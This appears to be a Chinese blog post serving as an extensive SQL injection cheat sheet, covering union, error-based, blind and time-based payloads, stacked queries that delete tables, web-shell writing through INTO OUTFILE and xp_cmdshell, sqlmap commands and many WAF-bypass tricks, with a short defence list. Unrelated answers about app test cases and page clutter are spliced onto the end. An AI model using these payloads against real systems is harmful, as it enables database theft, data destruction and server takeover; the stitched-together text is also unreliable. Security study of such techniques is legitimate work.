史上最全的SQL注入总结

史上最全的SQL注入总结

0x01 SQL注入原理

当客户端提交的数据未作处理或转义直接带入数据库,就造成了sql注入。
攻击者通过构造不同的sql语句来实现对数据库的任意操作。

0x02 SQL注入的分类

按变量类型分:数字型和字符型

按HTTP提交方式分:POST注入、GET注入和Cookie注入

按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入

按数据库类型分:

sql:oracle、mysql、mssql、access、sqlite、postgersql
nosql:mongodb、redis

0x03 MySQL与MSSQL及ACCESS之间的区别

1.MySQL5.0以下没有information_schema这个默认数据库

2.ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释

举例:select 1,2,3 from table_name union select 1,2,3 from table_name

3.MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)

0x04 判断三种数据库的语句

MySQL:and length(user())>10

ACCESS:and (select count(*)from MSysAccessObjects)>0

MSSQL:and (select count(*)from sysobjects)>0

0x05 基本手工注入流程

1.判断注入点

数字型:id=2-1
字符型:’ 、')、 '))、 "、 ")、 "))
注释符:-- (这是–空格)、–+、/**/、#

2.获取字段数

order by 二分法联合查询字段数,观察页面变化从而确定字段数

order by 1
order by 50

group by 译为分组,注入时也可使用,不过我没用过

3.查看显示位尝试使用联合注入

利用and 1=2或and 0及id=-12查看显示数据的位置
替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)

and 1=2 union select version(),2,3

再查询所有数据库

and 1=2 union select (select group_concat(schema_name)from information schema.schemata),2,3

查询所有表名

union select (select group_concat(table_name)from information_schema.tables),2,3

查询所有字段名

union select (select group_concat(column_name)from information_schema.columns),2,3

查询字段内容
如:查询test库下users表的id及uname字段,用’~'区分id和uname以防字符连接到一起

union select(select group_concat(id,'~',uname)from test.users),2,3

0x06 报错注入

通用报错语句:(测试版本MySQL8.0.12,MySQL5.0,mariadb5.5版本下)

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

0x07 布尔盲注

盲注中常用的函数:
1.char() 解ASCII码
2.mid()截取字符串

举例:mid(‘hello’,1,3),从第1位开始截取3位,输出位hel

3.substr()与mid()相同,都为截取字符串
4.count()计算查询结果的行数
5.concat()查询结果合并但保持原有行数
6.group_concat()查询结果合并但都放在一行中
7.ascii() 查询ascii码
猜数据库长度(利用二分法)

id=1 and (length(database()))>1
id=1 and (length(database()))>50

猜第一个字符,第二个字符,以此类推

and ascii(mid(database(),1,1))>1
and ascii(mid(database(),2,1))>1

查询当前数据库中所有表名

and (select count(table_name)from information_schema.tables where tables_schema=database())>1
and (select count(table_name)from information_schema.tables where tables_schema=database())>10

查询第一个表的长度

and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10

查询表的第一个字符

and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1

查询atelier表里有几个字段

and(select count(column_name)from information_schema.columns where table_name = 'atelier' and table_schema = database())>2

查询第一个字段长度

and length((select column_name from information_schema.columns where table_name='atelier' and table_schema= database()limit 0,1))>1

查询字段第一个字符

and ascii(mid((select column_name from information_schema.columns where table_schema = 'db83231_asfaa' and TABLE_NAME ='atelier' limit 0,1),1,1))>105

查询字段所有行数

and (select count(*) from db83231_asfaa.atelier)>4

查询字段名的行数(查询emails表,uname字段)

and (select count(uname)from security.emails)>7 
查询uname的行数

查询字段内容

length((select username from security.users limit 0,1))>10
ascii(mid((select username from security.user limit 0,1),1,1))>100

将查询到的ASCII码放到mysql中查询

举例:select char(39);
在这里插入图片描述

0x08 延时盲注

利用sleep(3)和if(1=2,1,0)及case进行延时注入,示例:

select * from user where id='1' or sleep(3) %23

这个没什么好说的

select * from user where id= 1 and if(length(version())>10,sleep(3),0);

如果长度大于10,则睡3秒,其他则0秒

select * from user where id= 1 and case length(version())>10 when 1 then sleep(3) else 0 end;

case定义条件,when 后面的1表示ture也代表真,当条件为真时,睡3秒,其他则0秒。

0x09 多语句注入

多语句意思就是可以执行多个语句,利用分号进行隔开

示例:id=1";WAITFOR DELAY '0:0:3';delete from users; --+
id=1';select if(length(user(),1,1)>1,sleep(3),1) %23
';select if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>1,sleep(3),1) %23

0x10 内联注入

举例:id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

利用别名:

union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id)

0x11 getshell

id=-1' union select 1,2,(select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/404.php') --+

也可使用dumpfile进行写入
outfile和dumpfile的区别:
outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。dumpfile只能执行一行数据。

数据库写入:

exec master..xp_cmdshell 'echo "<%eXECutegLobaL rEquEst(0)%>" > "c:\www\upload\Files\2019-11\404.asp"'

0x12 宽字节注入

当编码位gbk时,%df%27或%81%27数据为空

就是说客户端发送的数据编码为gbk时,那么可能会吃掉转义字符\反斜杠,闭合之后页面恢复正常,存在宽字节注入

测试出来就可以使用sqlmap跑了,23333

加*构造注入点(比-p更稳定),让sqlmap对构造注入点进行注入攻击(*优先级更高)

宽字节防御:
在这里插入图片描述

第10行代码必须和第24行必须同时使用,要么就更换编码格式

0x13 二次编码注入

代码中有urldecode() 函数
%2527 先解码成%27再解码成’单引号

sqlmap -u http://192.168.100.141/index.php/author=123 --prefix "%2527" --suffix "%23"

-prefix为设置前缀 -suffix为设置后缀
设置后缀,防止sqlmap使用内联注

0x14 二次注入

abc’ 数据经过addslashes过滤,单引号前面添加反斜杠abc’,但传到数据库的数据还是abc’

假如在如下场景中,我们浏览一些网站的时候,可以现在注册见页面注册username=test’,接下来访问xxx.php?username=test’,页面返回id=22;

接下来再次发起请求xxx.php?id=22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误。

访问xxx.php?id=test’ union select 1,user(),3%23,获得新的id=40,得到user()的结果,利用这种注入方式会得到数据库中的值。

0x15 XFF头注入

update user set loat_loginip = '8.8.8.8' where id =1 and sleep(5) #' where username = 'zs';

id根据网站用户量取一个中间值,测试是否有注入,利用插件设置XFF头,如果网站不报错,可尝试此注入

X-Forward-For:127.0.0.1' select 1,2,user()

0x16 常用过WAF技巧

1.特征字符大小写(基本没用)

UnIoN SeLcT 1,2,3

2.内联注释

id=-1/*!UNION*/%20//*!SELECT*/%201,2,3

3.特殊字符代替空格

%09 tab键(水平)、%0a 换行、%0c 新的一页
%0d return功能、%0b tab键(垂直)、%a0空格

4.等价函数和逻辑符号

hex()、bin()==>ascii()
sleep()==>benchmark()
concat_ws()==>group_concat()
mid()、substr()==>substring()
@@version==>version()
@@datadir==>datadir()
逻辑符号:如and和or不能使用时,尝试&&和||双管道符。

5.特殊符号

反引号,select `version()`,绕过空格和正则
加号和点,"+"和"."代表连接,也可绕过空格和关键字过滤
@符号,用于定义变量,一个@代表用户变量,@@代表系统变量

6.关键字拆分

'se'+'lec'+'t'
%S%E%L%C%T 1,2,3
?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell"net user"')
!和():'or--+2=--!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)

7.加括号绕过

小括号

union (select+1,2,3+from+users)%23
union(select(1),(2),(3)from(users))
id=(1)or(0x50=0x50)
id=(-1)union(((((((select(1),hex(2),hex(3)from(users))))))))

花括号

select{x user}from{x mysql.user}
id=-1 union select 1,{x 2},3

8.过滤and和or下的盲注

id=strcmp(left((select%20username%20from%20users%20limit%200,1),1),0x42)%23
id=strcmp(left((select+username+from+limit+0,1),1,0x42)%23

9.白名单绕过

拦截信息:

GET /pen/news.php?id=1 union select user,password from mysql.user

绕过:

GET /pen/news. php/admin?id=1 union select user,password from mysql. user
GET /pen/admin/..\news. php?id=1 union select user,password from mysql. user

10.HTTP参数控制
(1)HPP(HTTP Parmeter Polution)(重复参数污染)

举例:

index.php?id=1 union select username,password from users
index.php?id=1/**/union/*&id=*/select/*&id=*/username.password/*&id=*/from/*&id=*/users

HPP又称作重复参数污染,最简单的是?uid=1&uid=2&uid=3,对于这种情况,不用的web服务器处理方式不同。

具体WAF如何处理,要看设置的规则,不过示例中最后一个有较大可能绕过

(2)HPF(HTTP Parmeter Fragment)(HTTP分割注入)

HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)

举例:

/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

0x17 SQL注入防御

1.对用户输入的内容进行转义

2.限制关键字的输入,如单引号、双引号、右括号等,限制输入的长度

3.使用SQL语句预处理,对SQL语句进行预编译,然后进行参数绑定,最后传入参数

4.添加WAF,防火墙等

### 回答1: 史上最全的app通用测试用例可能会包括以下几个方面的测试用例: 1. 用户界面测试: - 应用的布局和界面是否符合设计要求; - 界面是否美观、易用; - 按钮、链接和其他互动元素是否正常响应。 2. 功能性测试: - 对应用的各项功能进行测试,例如登陆、注册、查看数据、上传文件等; - 确保功能的正常运行和响应速度; - 对不同的输入参数进行测试,确保应用能够正确处理各种情况。 3. 兼容性测试: - 测试应用在不同操作系统、不同设备上的兼容性; - 确保应用在不同的手机型号和尺寸上都能正常运行。 4. 安全性测试: - 检查应用的数据传输是否加密; - 检查应用是否有足够的防护措施,例如防止SQL注入、XSS攻击等; - 检查应用是否有足够的权限管理措施,例如用户权限分配、数据保护等。 5. 性能测试: - 对应用进行负载测试,测试在大量用户同时访问时的性能表现; - 测试应用的响应速度、资源占用情况等; - 测试应用是否能够处理大量数据,例如大文件的上传下载等。 6. 可靠性测试: - 对应用进行稳定性测试,测试在长时间运行时是否会出现崩溃或资源泄漏等问题; - 测试应用是否能够正确处理异常情况,例如网络中断、服务器宕机等。 7. 用户体验测试: - 进行用户调研,了解用户对应用的使用体验、反馈和建议; - 根据用户的反馈进行优化和改进。 请注意,以上只是对app通用测试用例的简要描述,具体的测试用例会根据应用类型、功能和需求等因素进行调整和补充。 ### 回答2: 通用的APP测试用例有很多,以下列举一些常用的用例: 1. 启动测试:测试APP是否能够成功启动,包括正常启动、快速启动、错误启动等情况。 2. 用户注册与登录:测试用户注册和登录功能,包括账号密码输入正确性验证、注册登录成功与失败的提示等。 3. 界面测试:测试APP的各个界面和页面的布局、样式、交互是否正确显示和正常工作。 4. 功能测试:测试APP的各个功能,包括各个按钮、菜单、链接等功能是否可以正常使用和操作,以及是否符合用户预期。 5. 数据输入输出测试:测试APP对于用户输入的数据能否正确保存和显示,以及对于外部数据的读取和操作是否正确。 6. 权限测试:测试APP的各个功能和页面对于用户权限的控制是否正确,包括对于不同用户身份的权限限制等。 7. 网络测试:测试APP在不同网络环境下的使用情况,包括网络连接断开后的处理、数据加载速度等。 8. 异常处理测试:测试APP对于各种异常情况的处理能力,包括用户输入错误、网络异常、系统异常等情况。 9. 兼容性测试:测试APP在不同操作系统版本、不同设备型号上的使用情况,以及与其他APP的兼容性。 10. 性能测试:测试APP在不同负载情况下的性能表现,包括响应速度、占用资源等指标。 以上只是一些通用的测试用例,实际中根据APP的具体功能和特点,还需要针对性地添加其他的测试用例。测试用例的目的是为了发现APP中的问题和漏洞,提高APP的品质和用户体验。正确编写和执行测试用例可以有效提高测试效率和测试准确性。 ### 回答3: 史上最全的app通用测试用例可以按照以下几个方面进行分类:界面测试用例、功能测试用例、性能测试用例和兼容性测试用例。 首先是界面测试用例。这些测试用例主要验证app的界面设计是否合理、易用和符合用户需求。例如,验证按钮和图标的位置、颜色和大小是否符合预期、文字是否显示正确等。 其次是功能测试用例。这些测试用例主要验证app的各项功能是否正常工作,包括登录注册、搜索、下单购买、支付等。例如,验证用户能否成功登录、测试搜索功能是否准确返回结果、验证订单是否能够正常生成和支付等。 第三是性能测试用例。这些测试用例主要验证app在不同负载下的性能表现,包括响应时间、吞吐量和稳定性等。例如,验证app在多种网络环境下的响应时间和加载速度、测试大数据量下的性能表现、验证app在长时间使用后是否会出现卡顿或崩溃等。 最后是兼容性测试用例。这些测试用例主要验证app在不同平台、不同版本和不同屏幕尺寸下的兼容性。例如,测试app在iOS和Android平台上是否能够正常运行、验证app在不同操作系统版本上的兼容性、测试app在不同屏幕尺寸上的显示效果等。 总结起来,史上最全的app通用测试用例应该包括界面测试用例、功能测试用例、性能测试用例和兼容性测试用例。在测试过程中,根据具体需求和特点,可以进一步细化和扩展这些测试用例,以确保app的质量和稳定性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

炫彩@之星

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值